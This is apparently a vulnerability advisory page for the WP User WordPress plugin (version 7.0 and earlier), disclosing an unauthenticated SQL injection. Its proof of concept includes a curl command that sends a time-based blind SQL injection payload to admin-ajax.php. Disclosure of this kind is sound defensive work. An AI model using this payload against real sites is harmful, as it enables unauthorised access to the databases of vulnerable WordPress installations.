Lucene search

K
wpvulndbCydaveWPVDB-ID:9B0781E2-AD62-4308-BAFC-D45B9A2472BE
HistoryDec 09, 2022 - 12:00 a.m.

WP User <= 7.0 - Unauthenticated SQLi

2022-12-0900:00:00
cydave
wpscan.com
7
wordpress
plugin
sql injection
unauthenticated user
security vulnerability

0.054 Low

EPSS

Percentile

93.2%

The plugin does not properly sanitize and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by unauthenticated users.

PoC

1. As an unauthenticated user, visit the “Sign Up” page (by default, this is /?page_id=5, or /user/) 2. Extract the “wpuser_update_setting” nonce (CTRL+F for “wpuser_update_setting”) 3. Invoke the following curl command, with the just extracted nonce, to induce a 5 seconds sleep: time curl https://example.com/wp-admin/admin-ajax.php \ --data ‘action=wpuser_group_action&group;_action=x&wpuser;_update_setting=&id;=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))khkM)’

CPENameOperatorVersion
wp-usereq*

0.054 Low

EPSS

Percentile

93.2%

Related for WPVDB-ID:9B0781E2-AD62-4308-BAFC-D45B9A2472BE